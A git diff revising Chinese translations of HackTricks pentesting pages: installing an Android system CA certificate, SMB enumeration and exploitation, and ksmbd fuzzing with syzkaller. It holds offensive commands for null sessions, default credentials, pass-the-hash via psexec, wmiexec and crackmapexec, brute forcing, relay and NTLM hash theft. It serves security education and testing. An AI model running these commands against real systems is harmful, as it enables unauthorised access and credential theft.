+1. **设置可写目录**:最初,通过在现有的 non-APEX 系统证书目录上挂载 `tmpfs` 来建立一个可写目录。 这可以通过以下命令实现:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
-2. **Preparing CA Certificates**: 在设置可写目录之后,应将打算使用的 CA 证书复制到该目录。 这可能涉及从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。 必须相应地调整这些证书的权限和 SELinux 标签。
-3. **Bind Mounting for Zygote**: 使用 `nsenter` 进入 Zygote 的 mount namespace。Zygote 是负责启动 Android 应用的进程,需要这一步以确保此后启动的所有应用都会使用新配置的 CA 证书。 使用的命令为:
+2. **准备 CA 证书**: 在可写目录设置完成后,需将要使用的 CA 证书复制到该目录中。这可能包括从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。
+3. **为 Zygote 进行绑定挂载**: 使用 `nsenter` 进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用的进程,必须执行此步骤以确保此后启动的所有应用都使用新配置的 CA 证书。使用的命令为:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-4. **将更改应用于正在运行的应用程序**: 要将更改应用到已运行的应用程序,使用 `nsenter` 再次单独进入每个应用的命名空间并执行类似的 bind mount。所需的命令是:
+这可确保每个新启动的应用都会遵循已更新的 CA 证书设置。
+
+4. **将更改应用于正在运行的应用**:要将这些更改应用到已在运行的应用上,仍然使用 `nsenter` 单独进入每个应用的命名空间,并执行类似的 bind mount。所需的命令为:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-5. **Alternative Approach - Soft Reboot**: 另一种方法是在 `init` 进程(PID 1)上执行 bind mount,然后通过 `stop && start` 命令对操作系统进行 soft reboot。该方法会将更改传播到所有 namespaces,避免逐个处理每个正在运行的 app。不过,由于需要重启,通常不太推荐。
+5. **Alternative Approach - Soft Reboot**: 一种替代方法是在 `init` 进程 (PID 1) 上执行 bind mount,然后通过 `stop && start` 命令对操作系统进行软重启。该方法会将更改传播到所有命名空间,从而无需逐一处理每个正在运行的应用。但由于重启带来的不便,这种方法通常不太推荐。
-## References
+## 参考资料
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index fb8e387cd..c67b95c8c 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -4,61 +4,60 @@
## **端口 139**
-_**网络基础输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使位于局域网 (LAN) 内的应用程序、PC 和桌面能够与网络硬件交互,并**促进数据在网络中的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,通常与计算机名不同。当一个应用程序(作为客户端)向另一个应用程序(作为服务器)发出“调用”命令并使用 **TCP 端口 139** 时,两个应用程序之间的 NetBIOS 会话就会启动。
+The _**Network Basic Input Output System**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 中的应用程序、PC 和台式机能够与网络硬件交互,并**促进网络上的数据传输**。运行在 NetBIOS 网络上的软件应用的标识和位置是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,且通常与计算机名不同。当一个应用(作为客户端)发出命令去“调用”另一个应用(作为服务器),并使用 **TCP Port 139** 时,会在两个应用之间建立 NetBIOS 会话。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## 端口 445
-从技术上讲,端口 139 被称为 ‘NBT over IP’,而端口 445 则被标识为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于在网络节点之间实现对文件、打印机、串口的共享访问,并促进各种形式的通信。
+从技术上讲,端口 139 被称为 ‘NBT over IP’,而端口 445 被识别为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,在现代也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信。
-例如,在 Windows 环境中,可以直接通过端口 445 在 TCP/IP 上运行 SMB,从而无需通过 NetBIOS over TCP/IP。相反,在其他系统上则可能使用端口 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。
+例如,在 Windows 环境中,强调 SMB 可以直接在 TCP/IP 上运行,通过使用端口 445,从而无需 NetBIOS over TCP/IP。相反,在其他系统上会使用端口 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
-Server Message Block (SMB) 协议采用客户端-服务器模型,旨在管理对文件、目录以及诸如打印机和路由器等网络资源的访问。SMB 主要用于 Windows 操作系统系列,并保持向后兼容,允许运行较新 Microsoft 操作系统的设备与运行较旧版本的设备无缝交互。此外,Samba 项目提供了一个免费软件实现,使得在 Linux 和 Unix 系统上实现 SMB 成为可能,从而促进通过 SMB 的跨平台通信。
+**Server Message Block (SMB)** 协议采用 **client-server** 模型,旨在规范对 **access to files**、目录以及打印机和路由器等其他网络资源的访问。SMB 主要用于 **Windows** 操作系统系列,保证向后兼容,使运行较新微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个自由软件实现,使 SMB 能在 **Linux** 和 Unix 系统上运行,从而实现通过 SMB 的跨平台通信。
-Shares 表示本地文件系统的任意部分,可以由 SMB 服务器提供,使得对客户端可见的层次结构在一定程度上独立于服务器的实际结构。访问控制列表 (ACLs) 定义了访问权限,允许对用户权限进行细粒度控制,包括诸如 `execute`、`read` 和 `full access` 之类的属性。这些权限可以根据 shares 分配给单个用户或组,并且与服务器上设置的本地权限是分离的。
+Shares,表示 **arbitrary parts of the local file system**,可以由 SMB 服务器提供,使客户端可见的层级在某种程度上**独立**于服务器的实际结构。**Access Control Lists (ACLs)** 定义了 **access rights**,允许对用户权限进行**fine-grained control**,包括诸如 **`execute`**、**`read`** 和 **`full access`** 等属性。这些权限可以基于 shares 分配给单个用户或组,并且与服务器上设置的本地权限不同。
-### IPC$ 共享
+### IPC$ Share
-可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过命名管道暴露的服务进行交互。实用工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
+可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过 named pipes 暴露的服务进行交互。工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
-- 操作系统信息
+- 有关操作系统的信息
- 父域的详细信息
- 本地用户和组的汇总
-- 可用 SMB shares 的信息
+- 有关可用 SMB 共享的信息
- 有效的系统安全策略
-此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全状况至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必不可少的。
+此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必要的。
```bash
enum4linux -a target_ip
```
-上面的命令示例说明了如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整的枚举。
+上面的命令是一个示例,说明如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整 enumeration。
## 什么是 NTLM
-如果你不了解 NTLM,或者想知道它如何工作以及如何滥用它,你会觉得这篇关于 **NTLM** 的页面非常有趣,页面解释了 **该协议如何工作以及如何利用它:**
-
+如果你不知道什么是 NTLM,或想了解它如何工作以及如何滥用它,你会发现这页关于 **NTLM** 的内容非常有趣,里面解释了 **该协议如何工作以及如何利用它:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
-## **服务器枚举**
+## **服务器 Enumeration**
-### **Scan** 在网络中搜索主机:
+### **Scan** 扫描网络以搜索主机:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB 服务器版本
-要查找针对 SMB 版本的潜在漏洞,重要的是要知道正在使用的版本。如果其他工具未显示此信息,你可以:
+要查找针对 SMB 的可能漏洞,需要先知道正在使用的 SMB 版本。如果其他工具未显示该信息,可以:
-- 使用 **MSF** 辅助模块 `**auxiliary/scanner/smb/smb_version**`
-- 或者这个脚本:
+- 使用 **MSF** 的 auxiliary 模块 `**auxiliary/scanner/smb/smb_version**`
+- 或使用此脚本:
```bash
#!/bin/sh
#Author: rewardone
@@ -80,12 +79,12 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
-### **可能** 的凭证
+### **可能的** 凭证
-| **用户名** | **常见密码** |
+| **用户名** | **Common passwords** |
| -------------------- | ----------------------------------------- |
-| _(空)_ | _(空)_ |
-| guest | _(空)_ |
+| _(空)_ | _(空)_ |
+| guest | _(空)_ |
| Administrator, admin | _(空)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
@@ -120,9 +119,9 @@ rpcclient -U "username%passwd" #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]
```
-### 枚举用户、组和已登录用户
+### 枚举用户、组与已登录用户
-这些信息应该已经由 enum4linux 和 enum4linux-ng 收集。
+这些信息应该已经从 enum4linux 和 enum4linux-ng 收集到。
```bash
crackmapexec smb 10.10.10.10 --users [-u -p ]
crackmapexec smb 10.10.10.10 --groups [-u -p ]
@@ -171,7 +170,7 @@ rpcclient-enumeration.md
### 列出共享文件夹
-建议始终检查是否可以访问任何资源;如果你没有 credentials,请尝试使用 **null** **credentials/guest user**。
+建议始终检查是否可以访问任何内容;如果没有 credentials,请尝试使用 **null** **credentials/guest user**。
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -185,7 +184,7 @@ crackmapexec smb -u '' -p '' --shares #Null user
crackmapexec smb -u 'username' -p 'password' --shares #Guest user
crackmapexec smb -u 'username' -H '' --shares #Guest user
```
-### **连接/列出 共享文件夹**
+### **连接/列出共享文件夹**
```bash
#Connect using smbclient
smbclient --no-pass ///
@@ -197,9 +196,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list
smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash
```
-### **手动枚举 Windows 共享并连接到它们**
+### **手动枚举 windows 共享并连接到它们**
-目标主机可能限制了显示其共享,当你尝试列出它们时看起来似乎没有任何可连接的共享。因此值得花点时间尝试手动连接某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时留意诸如 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 之类的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。
+有可能你被限制无法显示主机的任何共享,当你尝试列出它们时,看起来似乎没有可连接的共享。因此值得短暂地尝试手动连接到某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时寻找类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。
Common share names for windows targets are
@@ -212,7 +211,7 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
-(常见共享名来自 _**Network Security Assessment 3rd edition**_)
+(Common share names from _**Network Security Assessment 3rd edition**_)
你可以使用以下命令尝试连接它们
```bash
@@ -260,14 +259,14 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\ /all
```
-MMC 管理单元(图形界面)
+MMC Snap-in(图形界面)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
-explorer.exe (图形界面),在地址栏输入 `\\\` 查看可用的非隐藏共享。
+explorer.exe(图形界面),输入 `\\\` 查看可用的非隐藏共享。
### 挂载共享文件夹
```bash
@@ -276,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **下载文件**
-阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 建立连接。
+请阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。
```bash
#Search a file and download
sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -294,13 +293,13 @@ smbclient ///
Commands:
- mask: 指定用于过滤目录中文件的掩码(例如 "" 表示所有文件)
-- recurse: 切换是否递归(默认:off)
-- prompt: 切换是否提示文件名(默认:on)
+- recurse: 切换递归(默认:off)
+- prompt: 切换是否关闭文件名提示(默认:on)
- mget: 将所有与掩码匹配的文件从主机复制到客户端机器
-(_信息来自 smbclient 的手册页_)
+(_信息来自 smbclient 的 manpage_)
-### Domain Shared Folders Search
+### 域共享文件夹搜索
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@@ -312,42 +311,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-从共享中特别值得关注的是名为 **`Registry.xml`** 的文件,因为它们**可能包含密码**,这些密码属于通过 **Group Policy** 配置为 **autologon** 的用户。或者 **`web.config`** 文件,因为它们包含凭证。
+在共享目录中特别有价值的文件是 **`Registry.xml`**,因为它们 **可能包含 passwords**,用于通过 **autologon** 配置并通过 **Group Policy** 应用的用户。或者 **`web.config`** 文件,因为它们包含凭据。
> [!TIP]
-> **SYSVOL share** 对域内所有经过身份验证的用户都是**可读的**。在其中你可能会**发现**许多不同的 batch、VBScript 和 PowerShell **脚本**。\
-> 你应该**检查**其中的**脚本**,因为你可能会**找到**诸如**密码**之类的敏感信息。
+> **SYSVOL share** 对域中的所有经过身份验证的用户都是 **可读的**。在那里你可能会 **找到** 许多不同的 batch、VBScript 和 PowerShell **scripts**。\
+> 你应该 **检查** 其中的 **scripts**,因为你可能会 **找到** 敏感信息,例如 **passwords**。
## 读取注册表
-你可能能够使用一些已发现的凭据来**读取注册表**。Impacket **`reg.py`** 允许你尝试:
+您可能可以使用发现的凭证**读取注册表**。Impacket **`reg.py`** 允许您尝试:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
-## 后渗透
+## Post Exploitation
-The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
+一个 **Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,并可能包含一些 **危险配置**:
-| **设置** | **描述** |
+| **设置** | **说明** |
| --------------------------- | ------------------------------------------------------------------- |
-| `browseable = yes` | 允许列出当前可用的共享吗? |
-| `read only = no` | 禁止创建和修改文件吗? |
-| `writable = yes` | 允许用户创建和修改文件吗? |
-| `guest ok = yes` | 允许在不使用密码的情况下连接到服务吗? |
+| `browseable = yes` | 是否允许列出当前共享中可用的共享? |
+| `read only = no` | 是否禁止创建和修改文件? |
+| `writable = yes` | 是否允许用户创建和修改文件? |
+| `guest ok = yes` | 是否允许在不使用密码的情况下连接到服务? |
| `enable privileges = yes` | 是否遵循分配给特定 SID 的权限? |
-| `create mask = 0777` | 新创建的文件应被赋予什么权限? |
-| `directory mask = 0777` | 新创建的目录应被赋予什么权限? |
-| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
-| `magic script = script.sh` | 当脚本被关闭时应执行哪个脚本? |
-| `magic output = script.out` | magic script 的输出需要存储在哪里? |
+| `create mask = 0777` | 新创建的文件应被分配哪些权限? |
+| `directory mask = 0777` | 新创建的目录应被分配哪些权限? |
+| `logon script = script.sh` | 在用户登录时需要执行哪个脚本? |
+| `magic script = script.sh` | 当脚本关闭时应执行哪个脚本? |
+| `magic output = script.out` | magic 脚本的输出需要存储在哪里? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## 使用 Kerberos 进行认证
-You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
+你可以使用工具 **smbclient** 和 **rpcclient** 对 **Kerberos** 进行 **认证**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@@ -356,7 +355,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
-crackmapexec 可以通过 **abusing** 任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **默认** 方法。你可以使用参数 `--exec-method` 指定要使用的选项:
+crackmapexec 可以通过利用任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **default** 方法。你可以使用参数 `--exec-method` 指定要使用的选项:
```bash
apt-get install crackmapexec
@@ -380,9 +379,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
-两者都会 **创建一个新服务**(使用 _\pipe\svcctl_ 通过 SMB 在受害者机器上)并使用它来 **执行某些操作**(**psexec** 会 **上传** 可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并将 payload 放入参数中 --**file-less technique-**-)。\
+两者都会在受害者机器上(通过 SMB 使用 _\pipe\svcctl_)**创建一个新服务**,并用它来**执行某些东西**(**psexec** 会**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并在参数中放入 payload --**file-less technique-**-).\
**更多信息** 关于 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
-在 **kali** 上位于 /usr/share/doc/python3-impacket/examples/
+在 **kali** 它位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
@@ -390,19 +389,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-使用 **参数**`-k` 可以使用 **kerberos** 进行认证,而不是 **NTLM**
+使用 **parameter**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
-通过 DCOM 使用 **port 135.**\ 隐蔽地执行命令 shell,既不接触磁盘也不运行新的服务。
-在 **kali** 上,它位于 /usr/share/doc/python3-impacket/examples/
+通过 DCOM 经由 **port 135.** 隐蔽地执行命令 shell,无需接触磁盘或运行新的服务。\
+在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@] #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-使用 **参数**`-k` 可使用 **kerberos** 验证,而非 **NTLM**
+使用 **参数**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -412,7 +411,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
通过任务计划程序执行命令(通过 SMB 使用 _\pipe\atsvc_)。\
-在 **kali** 中它位于 /usr/share/doc/python3-impacket/examples/
+在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
@@ -421,27 +420,27 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
-### ksmbd 攻击面 和 SMB2/SMB3 协议 fuzzing (syzkaller)
+### ksmbd 攻击面和 SMB2/SMB3 协议 fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
-## **Bruteforce 用户凭据**
+## **Bruteforce 用户凭证**
-**不建议这样做,如果超过允许的最大尝试次数,可能会导致账号被锁定**
+**不建议这样做,如果超过允许的最大尝试次数,你可能会导致账户被锁定**
```bash
nmap --script smb-brute -p 445
ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
-This attack uses the Responder toolkit to **捕获 SMB 身份验证会话** on an internal network, and **中继** them to a **目标机器**. If the authentication **会话成功**, it will automatically drop you into a **系统** **shell**.\
+此攻击使用 Responder toolkit 在内部网络上 **捕获 SMB 认证会话**,并将它们 **中继** 到 **target machine**。如果认证 **会话成功**,它会自动让你进入一个 **system** **shell**。\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
-The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
+当页面尝试通过 SMB 访问某些内容时(例如:`img src="\\10.10.10.10\path\image.jpg"`),Windows 库 URLMon.dll 会自动尝试对主机进行身份验证。
This happens with the functions:
@@ -460,7 +459,7 @@ Which are used by some browsers and tools (like Skype)
## NTLM Theft
-Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack).
+类似于 SMB Trapping,将恶意文件植入目标系统(例如通过 SMB)可以诱发 SMB 身份验证尝试,从而使用 Responder 等工具截获 NetNTLMv2 哈希。该哈希随后可以离线破解,或用于 [SMB relay attack](#smb-relay-attack)。
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index 82ddba144..cc0ae533a 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -3,14 +3,14 @@
{{#include ../../banners/hacktricks-training.md}}
## Overview
-本页抽象出使用 syzkaller 对 Linux 内核 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。侧重通过配置扩展协议攻击面、构建能够串联 SMB2 操作的有状态 harness、生成语法合法的 PDUs、将变异偏向覆盖较弱的代码路径,以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB)。原始研究列举了具体 CVE,此处强调可复用的方法论和可适配到你自己环境的具体片段。
+本页总结了使用 syzkaller 对 Linux 内核内置 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。重点在于通过配置扩展协议攻击面、构建能串联 SMB2 操作的有状态 harness、生成语法有效的 PDU、将变异偏向弱覆盖的代码路径,以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB)。虽然原始研究列举了具体 CVE,本处强调可复用的方法论和可适配到你自己环境的具体片段。
-目标范围:SMB2/SMB3 over TCP。Kerberos 和 RDMA 被故意排除以简化 harness。
+目标范围:SMB2/SMB3 over TCP。Kerberos 和 RDMA 为了保持 harness 简单被刻意排除在外。
---
## Expand ksmbd Attack Surface via Configuration
-默认的最小 ksmbd 配置会使服务器的大部分功能未被测试。启用以下特性以驱动服务器进入更多解析器/处理器并到达更深的代码路径:
+默认的最小 ksmbd 配置会让服务器的大量部分未被测试。启用下列特性以驱动服务器触发更多解析器/处理器并到达更深的代码路径:
- Global-level
- Durable handles
@@ -20,7 +20,7 @@
- Oplocks (on by default)
- VFS objects
-启用这些会增加以下模块的执行:
+启用这些会增加对如下模块的执行覆盖:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
@@ -29,25 +29,25 @@
- vfs_cache.c (lookup cache)
Notes
-- 精确选项取决于你发行版的 ksmbd userspace (ksmbd-tools)。查看 /etc/ksmbd/ksmbd.conf 以及每个 share 的配置区块以启用 durable handles、leases、oplocks 和 VFS objects。
-- Multi-channel 与 durable handles 会改变状态机和生命周期,在并发条件下常常暴露 UAF/refcount/OOB 类错误。
+- Exact options depend on your distro’s ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects.
+- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.
---
## Authentication and Rate-Limiting Adjustments for Fuzzing
-SMB3 需要一个有效 session。 在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试时优先使用 NTLM/guest:
+SMB3 需要一个有效会话。在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试优先考虑 NTLM/guest:
-- 允许 guest 访问并将 map to guest 设为 bad user,这样未知用户会回退到 GUEST。
-- 接受 NTLMv2(如果被禁用则打补丁)。这能让握手更简单,同时覆盖 SMB3 的代码路径。
-- 在试验时可以去掉严格的 credit 检查(post-hardening for CVE-2024-50285 使 simultaneous-op crediting 更严格)。否则,速率限制可能会过早拒绝模糊生成的序列。
-- 增加 max connections(例如到 65536)以避免在高吞吐模糊测试时被过早拒绝。
+- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
+- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
+- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
+- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
-注意:这些放宽仅用于便于模糊测试。不要在生产环境中使用这些设置。
+Caution: These relaxations are to facilitate fuzzing only. Do not deploy with these settings in production.
---
## Stateful Harness: Extract Resources and Chain Requests
-SMB 是有状态的:许多请求依赖于先前响应中返回的标识符(SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序内重用 ID,以到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close)。
+SMB 是有状态的:许多请求依赖于先前响应返回的标识符(SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序中重用这些 ID,才能到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close)。
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c
@@ -76,15 +76,15 @@ break;
}
```
提示
-- 保持单个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上可以获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入并发。
-- Syzkaller’s 实验性 reset_acc_state 可以重置 global state,但可能会引入严重的性能下降。优先考虑稳定性并专注于 fuzzing。
+- 保持一个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上能获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入 concurrency。
+- Syzkaller’s experimental reset_acc_state 可以重置 global state,但可能会导致严重的性能下降。建议优先保证稳定性并专注于 fuzzing。
---
-## 基于语法的 SMB2 生成(有效 PDUs)
-将 Microsoft Open Specifications 中的 SMB2 结构转换为 fuzzer grammar,以使你的生成器产生结构上有效的 PDUs,从而系统性地到达 dispatchers 和 IOCTL handlers。
+## 基于语法的 SMB2 生成 (有效的 PDUs)
+将 Microsoft Open Specifications 中的 SMB2 结构翻译成一个 fuzzer grammar,使你的生成器能产生结构上有效的 PDUs,从而系统性地到达 dispatchers 和 IOCTL handlers。
-示例(SMB2 IOCTL request):
+示例 (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
@@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
-这种风格强制正确的结构大小/偏移,并且相对于盲目变异显著提高覆盖率。
+这种方式强制正确的结构大小/偏移,并相较于盲目变异显著提升覆盖率。
---
## Directed Fuzzing With focus_areas
-使用 syzkaller 的实验性 focus_areas 对当前覆盖较弱的特定函数/文件赋予更高权重。示例 JSON:
+使用 syzkaller’s experimental focus_areas 来对当前覆盖率较弱的特定函数/文件增加权重。示例 JSON:
```json
{
"focus_areas": [
@@ -122,9 +122,9 @@ Output array[int8]
]
}
```
